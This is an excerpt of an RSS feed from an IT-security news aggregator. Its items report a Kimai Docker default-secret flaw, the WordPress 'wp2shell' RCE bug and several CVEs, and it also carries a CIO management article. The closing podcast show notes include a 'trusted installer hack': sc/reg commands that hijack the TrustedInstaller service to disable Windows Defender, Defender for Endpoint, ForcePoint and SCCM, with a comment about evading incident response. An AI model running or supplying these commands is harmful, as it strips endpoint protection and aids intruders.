<li>OpenAPI spec and scanner framework status codes <a href="https://github.com/greenbone/openvas-scanner/commit/6c2e24e3">6c2e24e3</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts]]></title>
<description><![CDATA[Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accoun...]]></description>
<link>https://tsecurity.de/de/3681203/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681203/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accounts. This vulnerability, tracked as CVE-2026-52824, affects Kimai versions 2.57.0 and earlier. The issue has been resolved […]</p>
<p>The post <a href="https://cybersecuritynews.com/kimai-docker-flaw/">Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts]]></title>
<description><![CDATA[Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accoun...]]></description>
<link>https://tsecurity.de/de/3681192/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681192/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accounts. This…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/">Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patch now: WordPress REST API bug allows remote code execution]]></title>
<description><![CDATA[Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.



The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default W...]]></description>
<link>https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.</p>



<p class="wp-block-paragraph">The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default WordPress installation without requiring plugins, authentication, or special configuration.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/adam-kues/" target="_blank" rel="noreferrer noopener">Adam Kues</a> of Searchlight Cyber first reported the issue and published a public <a href="https://wp2shell.com/" target="_blank" rel="noreferrer noopener">checker</a> to assess risks, holding back technical details until a patch was available and admins had enough time to apply it.</p>



<p class="wp-block-paragraph">In a technical analysis published by Hadrian, researchers reconstructed the root cause from WordPress’ <a href="https://wordpress.org/news/2026/07/wordpress-7-0-2-release/" target="_blank" rel="noreferrer noopener">security patch</a> released on July 17. The vulnerability, they said, resides in the core REST API batch endpoint “batch/v1,” where an indexing mismatch during request validation can cause request objects and their associated permission checks to become misaligned.</p>



<p class="wp-block-paragraph">As a result, a crafted batch request can be processed under the wrong authorization context, ultimately allowing remote code execution.</p>



<p class="wp-block-paragraph">“An attacker who reaches the bug gains unauthenticated code execution on the web server,” the researchers <a href="https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api" target="_blank" rel="noreferrer noopener">said.</a> “In practice, that means full control of the site and its content, access to the database and whatever credentials or personal data it holds, and a way into the surrounding hosting environment.”</p>



<p class="wp-block-paragraph">The issue affects WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. According to Hadrian, versions 6.9.5 and 7.0.2 contain the fix, while 6.8.6 includes the same hardening changes even though earlier 6.8.x releases are not affected by this specific vulnerability.</p>



<p class="wp-block-paragraph">Because the vulnerable component is part of WordPress Core and the REST Batch API is enabled by default, any affected site exposing the REST API is potentially reachable by attackers. The researchers said this endpoint remains accessible through both “/wp-json/batch/v1” and the alternate /“?rest_route=/batch/v1” path, even on deployments without rewrite rules.</p>



<p class="wp-block-paragraph">Hadrian recommended upgrading immediately to WordPress 6.9.5 or 7.02, verifying that updates completed successfully, and, where patching cannot be performed immediately, blocking unauthorized access to both REST Batch API endpoints at the web server and through <a href="https://www.csoonline.com/article/563657/calling-barracudas-waf-a-firewall-is-seriously-selling-it-short.html">WAF</a>.</p>



<p class="wp-block-paragraph">Organizations were also advised to inventory all WordPress deployments, including staging and forgotten campaign sites, and review whether unauthorized access to the REST API is necessary for their environment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8635 | IBM Langflow up to 1.10.0 Langflow service permission (WID-SEC-2026-2410)]]></title>
<description><![CDATA[A vulnerability, which was classified as very critical, was found in IBM Langflow up to 1.10.0. This impacts an unknown function of the component Langflow service. The manipulation results in permission issues.

This vulnerability is cataloged as CVE-2026-8635. The attack may be launched remotely...]]></description>
<link>https://tsecurity.de/de/3680851/sicherheitsluecken/cve-2026-8635-ibm-langflow-up-to-1100-langflow-service-permission-wid-sec-2026-2410/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680851/sicherheitsluecken/cve-2026-8635-ibm-langflow-up-to-1100-langflow-service-permission-wid-sec-2026-2410/</guid>
<pubDate>Mon, 20 Jul 2026 12:24:33 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">very critical</a>, was found in <a href="https://vuldb.com/product/ibm:langflow">IBM Langflow up to 1.10.0</a>. This impacts an unknown function of the component <em>Langflow service</em>. The manipulation results in permission issues.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-8635">CVE-2026-8635</a>. The attack may be launched remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56742 | Cilium up to 1.17.16/1.18.10/1.19.4 Gateway API permission]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in Cilium up to 1.17.16/1.18.10/1.19.4. Affected by this vulnerability is an unknown functionality of the component Gateway API. Performing a manipulation results in permission issues.

This vulnerability is identified as CVE-20...]]></description>
<link>https://tsecurity.de/de/3680737/sicherheitsluecken/cve-2026-56742-cilium-up-to-11716118101194-gateway-api-permission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680737/sicherheitsluecken/cve-2026-56742-cilium-up-to-11716118101194-gateway-api-permission/</guid>
<pubDate>Mon, 20 Jul 2026 11:40:19 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/cilium">Cilium up to 1.17.16/1.18.10/1.19.4</a>. Affected by this vulnerability is an unknown functionality of the component <em>Gateway API</em>. Performing a manipulation results in permission issues.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-56742">CVE-2026-56742</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Finding the right balance between autonomy and scale]]></title>
<description><![CDATA[For diversified enterprises, few operating model questions are as persistent or polarizing as centralization versus decentralization. Decentralization promises speed, ownership, and local responsiveness. Centralization promises efficiency, standardization, and leverage. Both can be right. Both ca...]]></description>
<link>https://tsecurity.de/de/3680711/it-security-nachrichten/finding-the-right-balance-between-autonomy-and-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680711/it-security-nachrichten/finding-the-right-balance-between-autonomy-and-scale/</guid>
<pubDate>Mon, 20 Jul 2026 11:36:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For diversified enterprises, few operating model questions are as persistent or polarizing as centralization versus decentralization. Decentralization promises speed, ownership, and local responsiveness. <a href="https://www.cio.com/article/4166851/coherence-where-leadership-and-ai-success-intersect.html?utm=hybrid_search">Centralization</a> promises efficiency, standardization, and leverage. Both can be right. Both can be wrong. The challenge is that many organizations end up with both models operating at once, without enough clarity about why.</p>



<p class="wp-block-paragraph">The result of fragmented systems, duplicated capabilities, inconsistent data, rising IT spend, and a complexity tax that compounds over time is familiar to many CIOs. What starts as autonomy can become architectural sprawl. What starts as enterprise leverage can become bureaucracy. And as companies modernize core platforms, integrate data, and scale capabilities like AI, the tension becomes harder to ignore.</p>



<p class="wp-block-paragraph">Paul Krebs has lived that tension from multiple vantage points. Most recently as CIO and chief transformation officer at Koch Industries, and previously a technology and transformation leader at The Coca-Cola Company, he’s worked in environments where business units value autonomy, enterprise scale matters, and the wrong <a href="https://www.cio.com/article/4074675/the-clear-advantage-of-an-80-20-ai-operating-model.html">operating model</a> can slow progress just as easily as the wrong technology architecture.</p>



<p class="wp-block-paragraph">His conclusion isn’t that CIOs should pick a side, but they need a more intentional form of centralization, one that starts with business architecture, clarifies decision rights, and continually revisits where capabilities should sit as the organization matures.</p>



<h2 class="wp-block-heading"><a></a>Centralization: a design choice, not a doctrine</h2>



<p class="wp-block-paragraph">In diversified organizations, <a href="https://www.cio.com/article/649879/how-huber-spurs-innovation-in-a-historically-decentralized-business.html?utm=hybrid_search">decentralization</a> often starts as the default because it aligns with how the business creates value. Local businesses understand their customers, markets, regulatory environments, and operating realities, and giving them decision rights can increase speed and accountability.</p>



<p class="wp-block-paragraph">In Krebs’ experience, the default model often leaned toward decentralization, he says, with the belief that optimizing for customers and markets would allow different businesses to be as responsive as possible to the specific customers and markets they served. But that logic isn’t complete. Leaders also need to ask whether there’s a compelling case where a more centralized approach can generate additional value, accelerate progress, or optimize investments.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4021841/lighting-the-first-flame-how-to-spark-a-transformation-that-sticks.html">Digital transformation</a> created one of those moments. Krebs recalls around 2016 when Koch challenged its businesses to build multi-year digital transformation roadmaps. The ambition was there, but the capabilities to execute at the necessary pace weren’t evenly distributed. In response, the organization invested more aggressively from the center, building shared services and centers of expertise in areas such as business transformation, enterprise applications, and data and analytics.</p>



<p class="wp-block-paragraph">The purpose was acceleration, not control. Centralizing those capabilities helped accelerate learnings, capability building, and their ability to deploy new solutions at scale. But the move wasn’t treated as permanent. “There was always a belief that the centralization push should be re-looked at on a regular basis, not thought of as a forever decision,” he says.</p>



<h2 class="wp-block-heading"><a></a>Know what belongs at the center</h2>



<p class="wp-block-paragraph">Over time, Krebs learned that  the capabilities most likely to remain centralized were those where scale, consistency, and risk management mattered more than local differentiation. Infrastructure, <a href="https://www.cio.com/article/4065346/how-cross-functional-teams-rewrite-the-rules-of-it-collaboration.html?utm=hybrid_search">collaboration platforms</a>, cybersecurity, cloud management, FinOps, and the help desk were natural candidates to remain shared services.</p>



<p class="wp-block-paragraph">Other areas were more nuanced. Some application capabilities moved back into the businesses as local maturity increased. Many data and insights capabilities also moved closer to the business once teams had built enough muscle to own them. Meanwhile, certain emerging capabilities such as spatial technologies like AR/VR remained centralized because it didn’t yet make sense for each business to build them independently. Many companies have lived this journey as well, for example, with gen AI, which often started with a <a href="https://www.cio.com/article/4027422/the-missing-backbone-behind-your-stalled-ai-strategy.html">center of excellence</a>, and then evolved into a more decentralized approach, enabling teams across the business to innovate quickly.</p>



<p class="wp-block-paragraph">That distinction avoids the trap of treating the enterprise as one uniform operating model. “Both models can be successful, and both have advantages,” he says. “That’s what makes the balance so difficult.”</p>



<p class="wp-block-paragraph">Centralization provides a clearer path to execution at scale and cleaner decision rights, but it requires <a href="https://www.cio.com/article/4082282/preparing-your-workforce-for-ai-agents-a-change-management-guide.html?utm=hybrid_search">change management</a> and careful attention to bureaucracy. Decentralization provides ownership and speed, but it can also over index toward preference versus real differentiation, he adds, while making architecture harder to scale later.</p>



<h2 class="wp-block-heading"><a></a>Don’t confuse standardization with centralization</h2>



<p class="wp-block-paragraph">One of the most important distinctions Krebs makes is between centralization and standardization. Many organizations treat them as interchangeable, but they’re not.</p>



<p class="wp-block-paragraph">“You can have a centralized team that can manage the nuances of different requirements,” Krebs says. “You can also have a centralized standard platform that can be used in a decentralized manner.”</p>



<p class="wp-block-paragraph">That distinction opens up more operating model choices. A company may centralize a platform but decentralize how business teams configure or use it. It may standardize process patterns while keeping execution close to the region or business unit. It may also centralize architectural governance while allowing local teams to move quickly within defined guardrails.</p>



<p class="wp-block-paragraph">This is especially important in global organizations, where regional needs are real but not always unique. Krebs advises leaders to examine whether local requirements can be made more generic and reusable. The risk is solving each local requirement as a one-off, so the better path is to understand the underlying requirement, build it in a way that can scale, and still allow local teams to execute within the standard model.</p>



<h2 class="wp-block-heading"><a></a>Let business architecture lead technology architecture</h2>



<p class="wp-block-paragraph">Few topics expose the centralization tension more clearly than ERP consolidation. Many diversified companies, particularly those shaped by acquisition, end up with dozens or hundreds of ERP instances. Some leaders push for massive consolidation. Others prefer to build integration layers on top of the existing environment.</p>



<p class="wp-block-paragraph">Krebs’s starting point is neither technology nor cost. It’s business architecture. “The easiest and most effective path is when the IT or systems architecture follows and aligns to the business architecture,” he says.</p>



<p class="wp-block-paragraph">If the business is truly going to operate processes separately, separate systems may be appropriate. But if the organization has numerous teams, processes, and tools, leaders need to ask whether there’s enough differentiation and value to justify that complexity.</p>



<p class="wp-block-paragraph">The same logic applies to <a href="https://www.cio.com/article/3973877/treat-your-transformation-like-a-merger.html">M&amp;A</a>. Companies can get into trouble when integration synergies are held hostage by ERP migration timelines. Instead, Krebs advises starting with the business integration strategy. Understand where the synergies are, how the business architecture should come together, and then decide whether the IT architecture needs to be fully integrated, or whether a data layer, reporting platform, or other integration approach can deliver value faster.</p>



<h2 class="wp-block-heading"><a></a>Make the cost of complexity visible</h2>



<p class="wp-block-paragraph">CIOs in decentralized companies often face a frustrating dynamic. The business wants autonomy and speed, but the same leadership team still questions why IT spend is high relative to benchmarks. Krebs says the answer starts with cost alignment and visibility.</p>



<p class="wp-block-paragraph">In environments with a mix of centralized and decentralized services, Krebs saw centralized capabilities like infrastructure, help desk, and security perform well on benchmarks. More decentralized areas, such as BI, reporting, and commercial applications, often had more redundancy and higher cost.</p>



<p class="wp-block-paragraph">The point isn’t to blame the business but make the <a href="https://www.cio.com/article/3985680/products-not-permission-slips-a-new-way-to-pay-for-digital-value.html">economics</a> of complexity visible. CIOs need to show how flexibility in one area may require multiple systems, data stores, or teams elsewhere. “I understand we want flexibility here,” Krebs says. “But leaders must see when that flexibility may cost the company money, and be clear on whether the value justifies it.”</p>



<p class="wp-block-paragraph">That shifts the conversation from IT cost to business service economics. A single aggregate IT spend number is rarely useful in a decentralized environment. More helpful is a capability-based view that shows which areas are scaled efficiently, which are fragmented, and where the business architecture is driving the technology cost structure.</p>



<h2 class="wp-block-heading"><a></a>Revisit the model as maturity changes</h2>



<p class="wp-block-paragraph">For a new CIO entering a decentralized environment, Krebs cautions against immediately declaring that too many things need to be centralized. The better starting point is curiosity. “I would begin with just trying to understand why they’ve made the decisions they have,” he says.</p>



<p class="wp-block-paragraph">From there, CIOs can engage leaders in a conversation about the <a href="https://www.cio.com/article/3966240/from-banquet-to-bistro-how-the-product-model-is-transforming-the-business-of-technology.html">target operating model</a>, connecting business architecture to technology, data, and organizational capabilities. Once the direction is clear, he advises CIOs to work with the willing. Find the parts of the organization that already see the need for change, prove the model there, and scale from demonstrated success.</p>



<p class="wp-block-paragraph">Regardless of execution, though, the right model changes over time. A low-maturity capability may benefit from centralization because the organization needs to build talent, avoid reinventing the wheel, and accelerate learning. As maturity grows, decentralization may make more sense because business teams need flexibility to adapt quickly. Once maturity is high and patterns stabilize, the organization may be ready to centralize again to <a href="https://www.cio.com/article/4158552/scaling-ai-at-union-pacific-starts-with-people.html?utm=hybrid_search">leverage scale</a>.</p>



<p class="wp-block-paragraph">“Once I’ve decided I’m going to start with centralized or decentralized, you don’t necessarily need to stay in that model,” Krebs says. “You need to be continually revisiting the operating model as your organization matures and evolves.”</p>



<p class="wp-block-paragraph">That may be the heart of smart centralization. It rejects the false permanence of operating model decisions, and recognizes that autonomy and scale are both valuable, but in different places, at different times, for different reasons.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover]]></title>
<description><![CDATA[Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a publicly know...]]></description>
<link>https://tsecurity.de/de/3680380/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680380/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</guid>
<pubDate>Mon, 20 Jul 2026 08:23:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a publicly known application secret. The flaw affects Kimai versions 2.57.0 and earlier, and it has […]</p>
<p>The post <a href="https://gbhackers.com/kimai-docker-vulnerability-exposes-default-app_secret/">Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover]]></title>
<description><![CDATA[Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3680372/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680372/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</guid>
<pubDate>Mon, 20 Jul 2026 08:22:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/kimai-docker-vulnerability-exposes-default-app_secret-enabling-account-takeover/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/kimai-docker-vulnerability-exposes-default-app_secret-enabling-account-takeover/">Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Kimai Docker Flaw Lets Hackers Forge Cookies and Hijack Admin Accounts]]></title>
<description><![CDATA[A critical vulnerability in the official Kimai Docker image has been disclosed, allowing unauthenticated attackers to forge authentication tokens and take over any user account, including super_admin, on affected deployments. Tracked as CVE-2026-52824, the flaw stems from a hardcoded default secr...]]></description>
<link>https://tsecurity.de/de/3680368/it-security-nachrichten/critical-kimai-docker-flaw-lets-hackers-forge-cookies-and-hijack-admin-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680368/it-security-nachrichten/critical-kimai-docker-flaw-lets-hackers-forge-cookies-and-hijack-admin-accounts/</guid>
<pubDate>Mon, 20 Jul 2026 08:22:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical vulnerability in the official Kimai Docker image has been disclosed, allowing unauthenticated attackers to forge authentication tokens and take over any user account, including super_admin, on affected deployments. Tracked as CVE-2026-52824, the flaw stems from a hardcoded default secret shipped in Kimai’s containerized deployments. The official Kimai Docker image sets APP_SECRET=change_this_to_something_unique as a […]</p>
<p>The post <a href="https://cyberpress.org/critical-kimai-docker-flaw/">Critical Kimai Docker Flaw Lets Hackers Forge Cookies and Hijack Admin Accounts</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-63833 | Linux Kernel up to 7.1.2 Ntfs3 setxattr LXUID/LXGID/LXMOD/LXDEV permission (Nessus ID 327894)]]></title>
<description><![CDATA[A vulnerability described as very critical has been identified in Linux Kernel up to 7.1.2. This vulnerability affects the function setxattr of the component Ntfs3. Such manipulation of the argument LXUID/LXGID/LXMOD/LXDEV leads to permission issues.

This vulnerability is traded as CVE-2026-6383...]]></description>
<link>https://tsecurity.de/de/3680322/sicherheitsluecken/cve-2026-63833-linux-kernel-up-to-712-ntfs3-setxattr-lxuidlxgidlxmodlxdev-permission-nessus-id-327894/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680322/sicherheitsluecken/cve-2026-63833-linux-kernel-up-to-712-ntfs3-setxattr-lxuidlxgidlxmodlxdev-permission-nessus-id-327894/</guid>
<pubDate>Mon, 20 Jul 2026 07:55:37 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">very critical</a> has been identified in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel up to 7.1.2</a>. This vulnerability affects the function <code>setxattr</code> of the component <em>Ntfs3</em>. Such manipulation of the argument <em>LXUID/LXGID/LXMOD/LXDEV</em> leads to permission issues.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-63833">CVE-2026-63833</a>. An attack has to be approached locally. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.


 Show Notes


 Episode Overview




Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sen...]]></description>
<link>https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</guid>
<pubDate>Mon, 20 Jul 2026 02:06:59 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<h1>
 Show Notes</h1>

<h3>
 Episode Overview</h3>

<ul>

<li>
Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.</li>

</ul>

<h3>
 Key Topics &amp; Breakdown</h3>

<ul>

<li>

<ul>

<li>

<strong>
Egg Drop Soup Hack:</strong>
 How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.</li>

<li>

<strong>
Camera Setup &amp; Network Config:</strong>
 Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.</li>

<li>

<strong>
Python &amp; Cron Automation:</strong>
 Running a custom Python script every 2 minutes to check for new recordings, parsing logs with <code>
grep -v</code>
, and navigating massive log files in <code>
vi</code>
.</li>

<li>

<strong>
Windows Troubleshooting Tangent:</strong>
 Deleting the stubborn <code>
Windows.old</code>
 folder using the TrustedInstaller service hack (<code>
ExecTI.exe</code>
) instead of taking ownership manually.</li>

<li>

<strong>
Time Sync &amp; Firmware Quirks:</strong>
 Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming <code>
.bin</code>
 to <code>
.zip</code>
, and extracting with 7-Zip.</li>

<li>

<strong>
Pre-Flash Backup Routine:</strong>
 Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.</li>

</ul>

</li>

</ul>

<h3>
️ Tools &amp; Techniques Mentioned</h3>

<ul>

<li>

<ul>

<li>

<code>
crontab</code>
 + Python scripts for automated monitoring</li>

<li>

<code>
grep -v</code>
, <code>
cat</code>
, <code>
tail</code>
, and <code>
vi</code>
 (line navigation with <code>
:1000</code>
)</li>

<li>
Obsidian for note-taking &amp; AI assistant integration</li>

<li>
Firefox/Playwright for headless browser testing</li>

<li>
Turbo Download Manager &amp; Bolt Media Downloader for multi-threaded/sniffing downloads</li>

<li>
7-Zip for archive extraction</li>

<li>
Google Drive for searchable config backups</li>

</ul>

</li>

</ul>

<h3>
 Resources &amp; Links</h3>

<ul>

<li>

<ul>

<li>

<strong>
Python API Script:</strong>
 <a href="https://github.com/freeload101/Python/blob/master/Uniview_API_IPC3628SR-ADF28KM-WP_get_Last.py" rel="noopener noreferrer" target="_blank">
Uniview IPC3628SR Recording Checker</a>

</li>

<li>

<strong>
Camera Model:</strong>
 <code>
IPC3628SR</code>
 (Uniview Wyze ISP Warm Light Deterrent Network Camera)</li>

<li>

<strong>
TrustedInstaller Run-as Tool:</strong>
 <a href="https://rmccurdy.com/.scripts/downloaded/ExecTI_TrustedInstaller_Runas.zip" rel="noopener noreferrer" target="_blank">
ExecTI TrustedInstaller Runner</a>

</li>

</ul>

</li>

</ul>

<h3>
 Quick Takeaways</h3>

<ol>

<li>

<ol>

<li>
 Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.</li>

<li>
 Use <code>
grep -v "noise"</code>
 to quickly filter out repetitive log entries when debugging automation scripts.</li>

<li>
 Windows system folders can be stubborn; running commands as <code>
TrustedInstaller</code>
 bypasses hidden file locks without manual ownership changes.</li>

<li>
 Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.</li>

<li>
 Third-party download links often use temporary tokens or <code>
.bin</code>
 wrappers; renaming to <code>
.zip</code>
 and verifying with 7-Zip can save headaches.</li>

</ol>

</li>

</ol>

<ul>

<li>

<em>
Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.</em>
  </li>

</ul>

<p>

</p>

<p>

</p>

<p>
Example trusted installer hack</p>

<p>

</p>

<p>

</p>

<p>
# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...</p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"</p>

<p>

</p>

